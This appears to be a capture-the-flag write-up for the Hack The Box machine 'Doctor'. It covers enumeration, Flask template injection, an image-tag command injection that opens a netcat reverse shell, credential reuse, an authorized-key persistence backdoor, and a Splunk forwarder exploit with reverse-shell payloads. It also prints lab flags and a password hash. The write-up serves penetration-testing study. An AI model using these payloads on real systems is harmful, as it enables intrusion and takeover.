Doctor
Last updated
Was this helpful?
Last updated
Was this helpful?
nmap -T4 -Pn -sC 10.10.10.209
.
https://10.10.10.209:8089
has http login functionality for the /services
and /servicesNS
endpoints.
I initially thought the website on port 80 was just a standard template but there is the text Send us a message at info@doctors.htb
. Add 10.10.10.209 doctors.htb
to /etc/hosts
to get a "Doctor Secure Messaging" page with a login.
Directory bruteforcing: gobuster dir -u http://10.10.10.209 -t 100 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
and gobuster dir -u https://10.10.10.209:8089 -t 100 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt --insecuressl
. The secure website produces the following:
Searching online finds the following:
But I need the admin username and password to use them. admin
is the username according to the first link.
Try brute-forcing Splunk login: hydra -l admin -P /usr/share/wordlists/rockyou.txt -s 8089 -f 10.10.10.209 http-get /services
. Unsuccessful.
On the "Doctor Secure Messaging" page try directory brute-forcing: gobuster dir -u http://doctors.htb -t 100 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
.
Try creating an account on "Doctor Secure Messaging" and find comment <!--archive still under beta testing<a class="nav-item nav-link" href="/archive">Archive</a>-->
.
I tested various approaches with the message posting functionality including since Wappalyzer informed me the web framework was Flask. I then decided to check /archive
after creating a post. Creating a post with a title and content of {{7*'7'}}
produces 7777777
, which shows this page is vulnerable to SSTI.
Post the following in the title and content using the "New Message" function then visit /archive
to get a reverse shell:
The above was obtained from and changed to call /bin/bash
instead of /bin/cat
to print a flag.
The /archive
page is vulnerable as explained . /archive
routing code:
cat /home/web/blog/flaskblog/main/routes.py
:
Also, shell injection works without the archive page: <img src=http://10.10.14.131/$(nc.traditional$IFS-e$IFS/bin/bash$IFS'10.10.14.131'$IFS'4444')/>
.
Linpeas (./linpeas.sh -a 2>&1 | tee linpeas_report.txt
) finds backup file /var/log/apache2/backup
with has this line in it: /var/log/apache2/backup:10.10.14.4 - - [05/Sep/2020:11:17:34 +2000] "POST /reset_password?email=Guitar123" 500 453 "http://doctor.htb/reset_password"
. You can open with less -R linpeas_report_web.txt
Linpeas users:
Trying Guitar123
as the password for shuan
works: su shaun
.
Run run persist.authorized_key user=shaun backdoor_key=/home/kali/Downloads/key
in local pwntools
shell for persistance.
cat /home/shaun/user.txt
: da773977d514b6d63e3233dbb30961fd
.
Run ./linpeas.sh -a 2>&1 | tee linpeas_report.txt
and download linepeas_report.txt
. You can open with less -R linpeas_report_shaun.txt
.
Find 1|admin|admin@doctor.htb|default.gif|$2b$12$Tg2b8u/elwAyfQOvqvxJgOTcsbnkFANIDdv6jVXmxiWsg4IznjI0S
in /opt/clean/site.db
so the "Doctor Secure Messaging" credentials are admin@doctor.htb:$2b$12$Tg2b8u/elwAyfQOvqvxJgOTcsbnkFANIDdv6jVXmxiWsg4IznjI0S
This is a bcrypt hash as shown by /home/web/blog/flaskblog/users/routes.py
. Crack it ($2b$12$Tg2b8u/elwAyfQOvqvxJgOTcsbnkFANIDdv6jVXmxiWsg4IznjI0S
) with hashcat -m 3200 -a 0 -o cracked hash /usr/share/wordlists/rockyou.txt
. Cracking didn't work.
cat /home/web/blog.sh
contains SECRET_KEY=1234 SQLALCHEMY_DATABASE_URI=sqlite://///home/web/blog/flaskblog/site.db /usr/bin/python3 /home/web/blog/run.py
CUPS running at 127.0.0.1:631
Try splunk login shaun:Guitar123
at https://10.10.10.209:8089/services/
which works. Time to test the exploit I found earlier ().
git clone https://github.com/cnotin/SplunkWhisperer2
then pwncat 0.0.0.0:4632
then run the exploit: python3 PySplunkWhisperer2_remote.py --username shaun --password Guitar123 --lhost 10.10.14.131 --lport 46321 --host 10.10.10.209 --payload 'nc.traditional -e /bin/sh 10.10.14.131 4632'
.
Need to use nc.traditional
or nc [ServerAddress] [ServerPort] 0<f | /bin/sh -i 2>&1 | tee f
because according to . This is because netcat on Mac and OpenBSD netcat on Ubuntu have the -e
switch disabled.
cat /root/root.txt
: 006957ab28b0297079fdd8558031768e
Root /etc/shadow
: